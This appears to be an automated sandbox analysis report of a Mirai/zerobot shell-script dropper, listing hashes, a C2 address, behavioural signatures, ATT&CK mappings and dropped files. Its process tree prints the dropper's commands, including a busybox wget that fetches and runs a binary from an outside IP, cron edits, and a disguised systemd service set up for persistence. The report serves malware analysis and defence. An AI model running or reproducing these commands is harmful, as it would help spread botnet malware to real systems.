Analysis
- max time kernel
134s - max time network
151s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
30/09/2026, 07:29
Static task
static1
Behavioral task
behavioral1
Sample
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
Resource
debian9-mipsel-20260513-en
General
- Target ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
- Size 1KB
- Sample260930-jbbzyavxht
- SHA256 ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9
- MD5 ff0392a6b6e6f80511315fd3e571cab1
- SHA1 cdf934b11863ab95509ef877ed2ee19742d42068
- SHA512 752d29fcf75c70156a67c37d6c452eb979fc622b3b199d68d08a91c8a7639e920d5ee672da9649de0af23a2741422f2ef33db4f64168ac700f66ac9de2da8aa0
- TLSH T1DC313CF3FA66BC7271858839E75A7485A69B1C37182DAD5CB485F8303F3C804F621B66
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
-
mirai
-
94.154.43.30
Signatures
- Contacts a large (47377) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1515 chmod - Executes dropped EXE 2 IoCs
ioc pid Process /tmp/zerobot.x86_64 1516 ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh /var/tmp/.sysd 1516 zerobot.x86_64 - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog .sysd File opened for modification /dev/watchdog .sysd - Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.Zg8bwI crontab File opened for modification /var/spool/cron/crontabs/tmp.IdkY3e crontab - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp .sysd - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/systemd-network-update.service zerobot.x86_64 - Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog .sysd File opened for modification /bin/watchdog .sysd -
resource yara_rule behavioral1/files/fstream-1.dat upx - Changes its process name 8 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself [kthreadd] 1516 .sysd Changes the process name, possibly in an attempt to hide itself [watchdog/0] 1576 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/2:0] 1574 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/2:0] 1573 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/0:0] 1572 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/0:3] 1582 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/0:2] 1581 .sysd Changes the process name, possibly in an attempt to hide itself [kworker/0:1] 1580 .sysd - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp .sysd -
description ioc Process File opened for reading /proc/2096/status .sysd File opened for reading /proc/2339/status .sysd File opened for reading /proc/2638/status .sysd File opened for reading /proc/2797/status .sysd File opened for reading /proc/169/status .sysd File opened for reading /proc/1500/status .sysd File opened for reading /proc/1576/status .sysd File opened for reading /proc/457/fd .sysd File opened for reading /proc/1150/fd .sysd File opened for reading /proc/2497/status .sysd File opened for reading /proc/2541/status .sysd File opened for reading /proc/2609/status .sysd File opened for reading /proc/240/status .sysd File opened for reading /proc/1206/status .sysd File opened for reading /proc/2390/status .sysd File opened for reading /proc/2432/status .sysd File opened for reading /proc/2661/status .sysd File opened for reading /proc/self/stat systemctl File opened for reading /proc/32/status .sysd File opened for reading /proc/472/status .sysd File opened for reading /proc/475/fd .sysd File opened for reading /proc/1261/fd .sysd File opened for reading /proc/1816/status .sysd File opened for reading /proc/2206/status .sysd File opened for reading /proc/2512/status .sysd File opened for reading /proc/466/status .sysd File opened for reading /proc/1058/status .sysd File opened for reading /proc/1081/status .sysd File opened for reading /proc/1261/status .sysd File opened for reading /proc/1889/status .sysd File opened for reading /proc/1078/fd .sysd File opened for reading /proc/2542/status .sysd File opened for reading /proc/2602/status .sysd File opened for reading /proc/2701/status .sysd File opened for reading /proc/2734/status .sysd File opened for reading /proc/1691/status .sysd File opened for reading /proc/1315/status .sysd File opened for reading /proc/1937/status .sysd File opened for reading /proc/2079/status .sysd File opened for reading /proc/2280/status .sysd File opened for reading /proc/2596/status .sysd File opened for reading /proc/2604/status .sysd File opened for reading /proc/21/status .sysd File opened for reading /proc/79/status .sysd File opened for reading /proc/1361/status .sysd File opened for reading /proc/921/fd .sysd File opened for reading /proc/1622/status .sysd File opened for reading /proc/2131/status .sysd File opened for reading /proc/2233/status .sysd File opened for reading /proc/2664/status .sysd File opened for reading /proc/465/fd .sysd File opened for reading /proc/2231/status .sysd File opened for reading /proc/2690/status .sysd File opened for reading /proc/2770/status .sysd File opened for reading /proc/619/status .sysd File opened for reading /proc/673/fd .sysd File opened for reading /proc/1068/fd .sysd File opened for reading /proc/1750/status .sysd File opened for reading /proc/2370/status .sysd File opened for reading /proc/2510/status .sysd File opened for reading /proc/2634/status .sysd File opened for reading /proc/2842/status .sysd File opened for reading /proc/684/fd .sysd File opened for reading /proc/1315/fd .sysd - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/zerobot.x86_64 busybox
Processes
-
/tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh/tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh1⤵
- Executes dropped EXE
PID:1502 -
/bin/busybox/bin/busybox uname -m2⤵PID:1504
-
-
/bin/rmrm -f zerobot.x86_642⤵PID:1505
-
-
/bin/busybox/bin/busybox wget -q -O zerobot.x86_64 http://176.65.139.157/fvbig/zerobot.x86_642⤵
- Writes file to tmp directory
PID:1506
-
-
/bin/chmodchmod +x zerobot.x86_642⤵
- File and Directory Permissions Modification
PID:1515
-
-
/tmp/zerobot.x86_64./zerobot.x86_64 zerobot.x86_642⤵
- Executes dropped EXE
- Modifies systemd
PID:1516 -
/bin/shsh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sysd' | crontab - 2>/dev/null) >/dev/null 2>&1"3⤵PID:1517
-
/bin/grepgrep -v /var/tmp/.sysd4⤵PID:1520
-
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1521
-
-
/usr/bin/crontabcrontab -l4⤵PID:1519
-
-
-
/bin/shsh -c "systemctl daemon-reload 2>/dev/null; systemctl enable systemd-network-update.service 2>/dev/null; systemctl start systemd-network-update.service 2>/dev/null"3⤵PID:1522
-
/bin/systemctlsystemctl daemon-reload4⤵PID:1523
-
-
/bin/systemctlsystemctl enable systemd-network-update.service4⤵
- Reads runtime system information
PID:1544
-
-
/bin/systemctlsystemctl start systemd-network-update.service4⤵PID:1565
-
-
-
-
/var/tmp/.sysd/var/tmp/.sysd2⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Writes file to system bin folder
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:1516 -
/bin/shsh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sysd' | crontab - 2>/dev/null) >/dev/null 2>&1"3⤵PID:1567
-
/usr/bin/crontabcrontab -l4⤵PID:1569
-
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1571
-
-
/bin/grepgrep -v /var/tmp/.sysd4⤵PID:1570
-
-
-
-
/bin/rmrm -f zerobot.x86_642⤵PID:1578
-
-
/bin/rmrm -f telnet2.sh2⤵PID:1579
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/systemd/system/systemd-network-update.service
- Size 184B
- SHA256 2c0ed8e36e0603c11ba5613314d2bd2605e25777a5179c6264da034367c7c21c
- MD5 9f46c129e7dc87839ced9d15087b432a
- SHA1 f83562c882ee3880d3a25d0993ae934b5625283d
- SHA512 1971b69c160140092e323c4456de8efb8591305560ea09f1acf729e2c32d223e853ae447db5fd76754a2ccd07ae006554e4a845872ab2bcad083287fc106a9c4
- TLSH T131C02212672071D08C4B24725FB63B808A1002404A8AA1304BA0982500F3102A11A9BD
- MD5 SHA1 SHA512 TLSH
- Path /tmp/zerobot.x86_64
- Size 206KB
- SHA256 f5d5e0711b83f267212214ae75320021d75e18e7286cda9b91638d945054f1f6
- MD5 cf4583046ea5e7f48559ab7269256cee
- SHA1 6f6974b126c17e3b104bbdd76f21194ba440a255
- SHA512 57107b47781204aa5d509c9102e5d51c3d72b7679172661b7b9067c7b020f4528859f255bbea963b0afbd6c10be98700d9a387f4d6118a5c90a14700c589c3f2
- SSDEEP 6144:k+tiyRsMnlWKI2V7J9hol9aBbbHToaDkPc2H8HZ:FtiyRsMnAKI+hol9adToaDMhHWZ
- TLSH T10724124763E92E55F645087AA1314BDF8CA4760B87E16C2FD8F998C08CB59E30DEC823
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/spool/cron/crontabs/tmp.IdkY3e
- Size 175B
- SHA256 a5f066507c1296e8b6892b4f5e050a9537f949ba3fbfa0f4f5a61f94c221a939
- MD5 5e66fec2b78afad2e155d0abc7096b3a
- SHA1 67e5e317ab878430bac85f118975d5d12e8184b3
- SHA512 5324849b962005144adb73d53578b50aba03dcf85462fd129b4600b1e38d38db440e670a2344a3a20d45ab7f96a0791ff8298f0a59e79cd361d01b1196e423c6
- TLSH T1CBC0CC0C3F00B8303E000B0C222B002EA8A2A03CC00EAE80E2CC200C030238CBF80832
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.Zg8bwI
- Size 175B
- SHA256 a9ab1ee295f007ce37e7cdc0733f8caa5531d49fefc412fcd34229d154f4053e
- MD5 941ecad99c6360fbe6d01989f007dc1b
- SHA1 51e7de3cc2c37ca20b07d219d21a95e2e6b1626d
- SHA512 ee1ba184fcd7fce7ddc03fe756870d19d05205a34c77108bcd40686e6cbd474ed5dcd4806a1fd92b12670384df7ddd4670e40e925708eb95123abf882c145551
- TLSH T13FC0CC0C3F00B8303A000B0C222B002EAAA2A03CC08EAE80E0CC200C020238CBF80832
- MD5 SHA1 SHA512 TLSH
- Path /var/tmp/.sysd.lock
- Size 5B
- SHA256 081beba90804fa05b1f2f5fbb9398a328351bc756da7f92ac1484a2ca05e7e1d
- MD5 09788cc7b7ad84634e3ed74e806ff3e8
- SHA1 bece1d25b1ce9bd7461157541e41efb3ce6050b5
- SHA512 55381b9dce0c037095e35d99c73e7e55a58bc33de8ab0517bca79ae0586de28e471cb332bad9f5c521612cf166ecfa8e8d52aa297c15dc9b1f958f8a6b29afce
- MD5 SHA1 SHA512